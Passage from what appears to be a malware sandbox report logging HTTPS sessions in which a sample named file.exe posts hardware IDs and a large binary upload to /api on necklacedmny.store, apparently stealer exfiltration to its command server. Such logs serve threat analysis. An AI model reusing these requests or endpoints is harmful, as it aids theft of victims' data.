UH1qs+1rqxIfp95aIIUkzk0XgslAq+U9censfG/bTHRYe2O/5WmkEVXglVEzwXCHZza2jmSQoS419q94bJQbPBQ2L7DyL/Vdev6VUz6FY8B7cLCHIcnlLjb2qn5vmhI8UXBrtuxprhJb7J9SPMlyhGMxu4BumqBicbCrYyPDVAVXbnin5i+yU0apmVF4nTyPcDq9hWSeoCEw96F9b5EdPFJ3ZqXpY6MaUeWQUDLGcc4scLCTIcnlDjj9gnBvnFQ
2024-10-29 03:52:05 UTC	1369	IN	Data Raw: 2f 6d 71 61 4c 56 64 42 36 6d 6f 57 69 6a 56 66 38 78 54 4a 72 53 64 61 70 79 70 59 69 43 2b 74 54 74 6b 6c 31 52 73 46 48 35 67 76 75 6c 67 72 42 52 54 35 4a 74 55 50 63 52 36 69 6d 67 36 74 34 31 6e 6b 4b 41 6f 50 50 47 6d 63 6d 53 54 45 7a 64 47 4f 43 48 33 37 58 66 74 52 52 2f 41 6d 55 38 32 31 54 79 52 4c 43 6e 33 6a 47 33 52 2f 57 49 37 2b 71 4e 2f 5a 4a 63 53 4d 56 4a 31 62 72 6a 72 62 36 49 5a 56 4f 43 59 58 44 58 41 63 59 70 77 4f 72 79 45 62 5a 69 70 4c 33 2b 2b 37 48 78 37 32 30 78 30 5a 58 56 68 75 65 31 35 37 51 49 52 38 4e 35 61 4e 49 55 6b 7a 6d 4d 38 75 49 68 75 6b 71 59 6a 4e 65 4b 2b 64 32 71 54 45 54 68 66 64 6d 6d 6c 37 47 43 6b 48 6c 7a 67 6d 56 55 30 7a 33 2b 4a 49 6e 37 33 6a 48 6e 52 2f 57 49 63 35 37 78 32 49 34 52 61 4c 52 52 2f Data Ascii: /mqaLVdB6moWijVf8xTJrSdapypYiC+tTtkl1RsFH5gvulgrBRT5JtUPcR6img6t41nkKAoPPGmcmSTEzdGOCH37XftRR/AmU821TyRLCn3jG3R/WI7+qN/ZJcSMVJ1brjrb6IZVOCYXDXAcYpwOryEbZipL3++7Hx720x0ZXVhue157QIR8N5aNIUkzmM8uIhukqYjNeK+d2qTEThfdmml7GCkHlzgmVU0z3+JIn73jHnR/WIc57x2I4RaLRR/
2024-10-29 03:52:05 UTC	1369	IN	Data Raw: 6d 6a 44 31 72 76 6b 56 49 78 7a 48 69 47 59 54 43 7a 6a 32 61 55 70 69 34 30 39 36 39 30 5a 35 49 61 50 56 73 34 49 66 66 74 64 2b 31 46 48 38 69 46 58 6a 54 49 50 4a 45 73 4b 66 65 4d 62 64 48 39 59 6a 50 2b 71 58 74 70 6e 52 41 78 55 6e 4a 71 74 2b 46 73 6f 68 6c 5a 37 5a 46 64 4d 38 78 39 69 47 63 36 76 49 31 73 6b 71 4d 6b 66 37 37 73 66 48 76 62 54 48 52 30 59 32 4b 37 37 53 2b 79 55 30 61 70 6d 56 46 34 6e 54 79 46 62 6a 53 77 69 32 79 53 72 53 63 37 2b 71 6c 37 61 34 6b 63 4e 46 4e 71 66 62 66 6a 61 71 45 65 58 2b 32 59 56 44 37 47 65 4d 34 73 63 4c 43 54 49 63 6e 6c 44 7a 50 33 68 58 78 34 32 77 74 36 54 54 68 6f 75 36 6f 33 37 52 78 55 34 35 46 51 4f 38 4e 2f 68 57 63 36 74 6f 78 70 6e 4c 63 68 4d 50 2b 6f 65 32 79 64 45 6a 56 62 66 6d 69 2b 36 Data Ascii: mjD1rvkVIxzHiGYTCzj2aUpi409690Z5IaPVs4Ifftd+1FH8iFXjTIPJEsKfeMbdH9YjP+qXtpnRAxUnJqt+FsohlZ7ZFdM8x9iGc6vI1skqMkf77sfHvbTHR0Y2K77S+yU0apmVF4nTyFbjSwi2ySrSc7+ql7a4kcNFNqfbfjaqEeX+2YVD7GeM4scLCTIcnlDzP3hXx42wt6TThou6o37RxU45FQO8N/hWc6toxpnLchMP+oe2ydEjVbfmi+6
2024-10-29 03:52:05 UTC	376	IN	Data Raw: 59 31 36 42 36 4c 73 39 37 6e 6d 55 6e 75 4d 73 76 30 61 70 69 5a 38 6e 73 63 6d 53 41 42 53 4a 5a 61 47 6a 33 31 53 48 74 42 52 2b 78 33 6d 67 37 79 33 4b 4a 64 43 48 36 72 48 65 62 6f 6a 49 34 35 36 4d 37 4c 64 73 53 64 41 77 72 49 66 66 75 66 75 31 46 44 37 76 46 43 47 75 53 4c 4e 78 39 66 71 37 4c 64 39 48 39 63 48 47 77 76 6a 73 37 32 31 4d 33 52 6d 70 70 74 50 78 73 36 69 4e 68 7a 6f 52 51 50 74 4a 74 73 46 77 33 72 59 5a 6e 68 72 52 75 4b 76 4f 69 64 57 53 4e 56 48 6f 55 64 79 2f 76 30 79 2f 6c 58 57 43 6e 33 6b 56 34 6e 54 79 37 59 54 36 35 6a 48 65 41 36 41 55 6c 2f 61 70 73 63 74 74 61 64 46 49 34 4e 2b 65 6b 4c 36 6b 4d 48 37 48 4f 44 32 4f 51 4c 39 6b 79 59 71 6a 46 65 4e 47 7a 59 6d 65 69 34 6a 74 78 32 30 78 30 45 33 74 39 70 65 78 73 75 78 Data Ascii: Y16B6Ls97nmUnuMsv0apiZ8nscmSABSJZaGj31SHtBR+x3mg7y3KJdCH6rHebojI456M7LdsSdAwrIffufu1FD7vFCGuSLNx9fq7Ld9H9cHGwvjs721M3RmpptPxs6iNhzoRQPtJtsFw3rYZnhrRuKvOidWSNVHoUdy/v0y/lXWCn3kV4nTy7YT65jHeA6AUl/apscttadFI4N+ekL6kMH7HOD2OQL9kyYqjFeNGzYmei4jtx20x0E3t9pexsux
2024-10-29 03:52:05 UTC	1369	IN	Data Raw: 32 36 64 66 0d 0a 6e 35 73 6f 65 6b 6f 6b 79 4e 63 2f 35 4e 53 4d 38 52 43 73 45 77 39 74 6f 68 76 30 35 51 30 4d 75 43 76 66 6d 53 6c 4b 6a 70 54 62 47 69 35 37 47 2f 74 55 78 2f 6d 33 67 55 42 68 54 54 4f 58 58 37 33 6b 79 48 4a 35 52 63 38 2f 71 4a 38 64 59 70 5a 46 30 4a 31 59 4c 7a 72 4c 2b 4e 64 57 61 6e 47 44 58 61 46 65 4a 38 69 61 4f 66 5a 4f 73 54 32 64 57 2b 69 73 7a 56 36 32 77 4a 30 44 43 6f 68 39 2f 67 76 39 56 30 59 35 35 4e 63 4f 38 74 2f 6e 48 41 32 74 4a 31 69 31 70 73 63 48 76 32 6e 64 32 36 55 48 77 70 71 57 57 4b 38 35 6d 4b 69 46 6d 48 58 69 31 34 32 79 33 75 59 63 33 44 35 79 32 37 52 2f 52 74 2f 75 4f 78 45 4c 64 73 4d 64 41 77 34 57 72 54 6b 59 61 6f 4c 54 71 53 2f 55 44 50 4a 63 59 46 70 63 50 6e 4c 5a 39 48 39 63 6e 47 77 71 47 Data Ascii: 26dfn5soekokyNc/5NSM8RCsEw9tohv05Q0MuCvfmSlKjpTbGi57G/tUx/m3gUBhTTOXX73kyHJ5Rc8/qJ8dYpZF0J1YLzrL+NdWanGDXaFeJ8iaOfZOsT2dW+iszV62wJ0DCoh9/gv9V0Y55NcO8t/nHA2tJ1i1pscHv2nd26UHwpqWWK85mKiFmHXi142y3uYc3D5y27R/Rt/uOxELdsMdAw4WrTkYaoLTqS/UDPJcYFpcPnLZ9H9cnGwqG
2024-10-29 03:52:05 UTC	1369	IN	Data Raw: 4a 46 4a 37 55 59 6e 42 59 36 73 61 52 65 36 59 65 78 69 46 4d 73 35 74 63 4f 2b 79 49 64 6e 6c 48 58 47 77 74 44 73 37 32 79 45 33 57 6e 5a 6f 6f 66 73 69 69 41 70 63 2b 5a 68 65 65 49 73 38 69 43 4a 6f 35 38 55 68 6c 62 52 69 5a 36 44 2b 49 44 62 49 51 32 51 47 5a 79 47 75 71 6e 6e 74 52 51 32 6e 33 6b 39 34 6e 54 7a 4a 59 53 4b 6c 6a 57 4b 48 70 6d 55 42 7a 6f 70 34 63 70 45 31 4f 55 52 2f 55 59 6e 2f 62 4b 4d 54 57 50 2b 50 48 58 61 46 63 38 34 36 43 66 66 44 4c 5a 65 6d 4e 48 2f 50 34 6a 74 37 32 30 78 30 59 58 74 68 75 65 31 35 76 46 42 35 36 6f 39 58 47 63 68 73 69 53 4a 2b 39 34 30 68 79 66 5a 73 66 2f 53 39 4f 7a 76 4c 52 6d 38 42 4b 7a 6a 6e 75 48 44 6a 42 42 2f 2f 33 67 56 71 69 7a 79 63 49 6d 6a 33 7a 47 4b 44 74 79 51 38 35 71 38 38 58 61 55 Data Ascii: JFJ7UYnBY6saRe6YexiFMs5tcO+yIdnlHXGwtDs72yE3WnZoofsiiApc+ZheeIs8iCJo58UhlbRiZ6D+IDbIQ2QGZyGuqnntRQ2n3k94nTzJYSKljWKHpmUBzop4cpE1OUR/UYn/bKMTWP+PHXaFc846CffDLZemNH/P4jt720x0YXthue15vFB56o9XGchsiSJ+940hyfZsf/S9OzvLRm8BKzjnuHDjBB//3gVqizycImj3zGKDtyQ85q88XaU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	188.114.97.3	443	6664	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:52:06 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12840 Host: necklacedmny.store
2024-10-29 03:52:06 UTC	12840	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 30 46 33 46 32 39 31 34 37 44 41 39 35 33 36 39 34 38 46 35 31 41 31 38 34 45 38 45 32 37 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"30F3F29147DA9536948F51A184E8E278--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 03:52:19 UTC	1025	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:52:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ahc4fb60r3kvvgj33gs1ua24nl; expires=Fri, 21 Feb 2025 21:38:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4Q7vcgbKzJQOGCesaxYhlqHeBMqybSj2eVC9oau70p7%2By6IiMTX%2FO3BXa7I3lDY9j7C%2BD9twADWp6t8w0hj6MO%2BIw1JWU3c%2FcJsuvrAceIRxjorJZ%2BLUvRlaGKbgDWZklknyM6w%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da035ffbc2235a2-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1134&sent=10&recv=18&lost=0&retrans=0&sent_bytes=2846&recv_bytes=13782&delivery_rate=2439764&cwnd=247&unsent_bytes=0&cid=a56b79b5bfe19e09&ts=12924&x=0"
2024-10-29 03:52:19 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 03:52:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49710	188.114.97.3	443	6664	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:52:19 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15082 Host: necklacedmny.store
2024-10-29 03:52:19 UTC	15082	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 30 46 33 46 32 39 31 34 37 44 41 39 35 33 36 39 34 38 46 35 31 41 31 38 34 45 38 45 32 37 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"30F3F29147DA9536948F51A184E8E278--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 03:52:20 UTC	1020	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:52:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ls99s69s3cv6g6q85cg91hg8ln; expires=Fri, 21 Feb 2025 21:38:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UZS%2FhIO%2BOkQruwpAigxrqSh4Rpwl9Ji4CyNnXgjMffgVTztCOpJLAV%2B7x3ZdvFKWJiZEuX102uogjaBHnx4PxXKh%2Fz%2FOcVe4WOP7YLebaU0bCoaSlNMlgelPBqDvGut0dj7ts6c%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da0365539d8462f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1213&sent=9&recv=20&lost=0&retrans=0&sent_bytes=2845&recv_bytes=16024&delivery_rate=2415346&cwnd=249&unsent_bytes=0&cid=6e6285c82a2e0dd1&ts=617&x=0"
2024-10-29 03:52:20 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 03:52:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49718	188.114.97.3	443	6664	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:52:21 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20572 Host: necklacedmny.store
2024-10-29 03:52:21 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 30 46 33 46 32 39 31 34 37 44 41 39 35 33 36 39 34 38 46 35 31 41 31 38 34 45 38 45 32 37 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"30F3F29147DA9536948F51A184E8E278--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 03:52:21 UTC	5241	OUT	Data Raw: 5a 3e 93 af 35 13 92 cd 36 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Z>56vMMZh'F3Wun 4F([:7s~X`nO
2024-10-29 03:52:29 UTC	1022	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:52:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mbrqdqe35maro2rkn2u0hg4nl9; expires=Fri, 21 Feb 2025 21:39:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VLoKwrMwcae14bqPk71anPP%2Bb5S8legASt%2FdqlI6qeIvztWJM6QTlT2PWgd65JVP2rwO8KSj9GAXSO3XGA9J6qEpHH5Pu3MLj6lRuMaYgNx21RQWp%2FJF%2BuMEf1fUxKZ8I%2BkG5bU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da0365e58b66b19-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1065&sent=11&recv=26&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21536&delivery_rate=2649588&cwnd=251&unsent_bytes=0&cid=547dae5252b10e0e&ts=7926&x=0"
2024-10-29 03:52:29 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 03:52:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49765	188.114.97.3	443	6664	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:52:30 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1250 Host: necklacedmny.store
2024-10-29 03:52:30 UTC	1250	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 30 46 33 46 32 39 31 34 37 44 41 39 35 33 36 39 34 38 46 35 31 41 31 38 34 45 38 45 32 37 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"30F3F29147DA9536948F51A184E8E278--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 03:52:39 UTC	1013	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:52:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m2p0alvgvcv2g9os5f5h8mcagi; expires=Fri, 21 Feb 2025 21:39:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=g89wxV7CN2z0fX8ULcUwG%2Fs7xfiCV65Hc7kz15nHnbmDTt83l7uYtiPlOa6X8jDAYhJ818HURqXls0myfqHRtacc3W4azuRyNtSxrbRNCRevUJoAOR9%2BQOrkjTvaYWS3DJkI5co%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da036956e5b2839-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2368&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2169&delivery_rate=1095310&cwnd=238&unsent_bytes=0&cid=e32a43e94cb2ca01&ts=9354&x=0"
2024-10-29 03:52:39 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 03:52:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49826	188.114.97.3	443	6664	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:52:40 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 568572 Host: necklacedmny.store
2024-10-29 03:52:40 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 30 46 33 46 32 39 31 34 37 44 41 39 35 33 36 39 34 38 46 35 31 41 31 38 34 45 38 45 32 37 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"30F3F29147DA9536948F51A184E8E278--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 03:52:40 UTC	15331	OUT	Data Raw: f9 80 32 b5 7c 4c a3 bc 68 de e1 0b 12 b3 af d7 fa f7 3b 60 80 ca 7c 6d 6f c1 52 bd 02 63 a4 9c a5 34 38 12 96 52 0e 20 80 d8 09 62 ec a1 14 09 a0 34 01 65 35 c2 99 27 5c 19 ae c2 a0 5d 15 0b f3 71 b0 6c 5b 74 78 a6 d8 fa 3e 8e c7 0e f0 d8 77 de 16 0d c2 2b 3a ba bb b1 7d a6 fc 56 ff ff 83 e8 d4 03 80 56 dc 01 e6 f8 40 82 29 25 9f 05 98 7d 7c 30 3f 55 e9 52 66 44 64 99 e5 62 6f 66 39 3f c4 fd 87 68 fc d8 9c c1 25 1a d9 77 da 40 8c 43 32 88 b7 70 48 cd 74 f2 e0 03 cd 8a ab 81 a6 e8 b8 1d cf 9c ca 20 05 35 98 b2 83 57 a2 49 f5 df fa 90 1e 91 f8 09 c1 ad dd 32 34 67 0e 14 3b 52 93 fc 7c 79 52 8d 3b a5 95 44 a9 b6 90 27 0f c1 72 bd 25 c0 c6 8d 3b 5d 52 8a 29 3a 87 99 37 c9 d8 6e 0e 70 55 64 35 38 8b 72 08 6b 8a b5 bd e6 a6 e3 eb 8e 4a 14 12 23 0b 49 74 56 35 Data Ascii: 2\|Lh;`\|moRc48R b4e5'\]ql[tx>w+:}VV@)%}\|0?URfDdbof9?h%w@C2pHt 5WI24g;R\|yR;D'r%;]R):7npUd58rkJ#ItV5
2024-10-29 03:52:40 UTC	15331	OUT	Data Raw: a4 83 36 bd fd e7 d8 5f b9 63 eb 45 ed 26 c0 58 9d ff 12 9a dc 3b 05 8a 09 29 77 99 64 51 9b 89 ed 98 1e 97 c6 f0 80 53 19 11 0f 44 f5 86 6b 5d 23 79 4a 18 58 6d 93 3a 6d a9 26 e2 a8 ca ff 36 a9 c6 ea 8b e5 b3 10 da 36 34 2f 36 b5 e6 e6 0b 4d ff 3e 12 a8 8e 04 55 46 8d ae 1f 71 19 74 35 36 13 c9 4d 65 84 5f 9a 27 2f b9 58 c0 41 a7 c9 78 9f c4 45 6b 95 ea c4 9d 8c 50 a2 e9 33 8b b8 23 68 02 8a 9d 56 bc f2 55 61 bd 4e d2 5d 85 61 38 a9 d4 18 3c 8d 6a 2c af 40 3c 6f 72 be 89 97 c0 1e b5 e2 c4 1a fd 1d 04 16 ed b3 19 c1 8b 2f bf 1c 2b fd ed 5e 58 67 79 f6 0a 8f 96 f9 67 4e 36 43 83 0f 23 c9 39 93 c0 db 93 d6 de ae 88 d0 39 bf 85 fe fe b0 99 b9 b3 b1 59 f3 ef b5 90 f0 6e 5a ae 7b 39 19 45 68 7b 5a fb 7d b3 55 16 f9 9f 3a 6f 11 2c 42 bf 6d 34 ff 29 8a aa ff e3 Data Ascii: 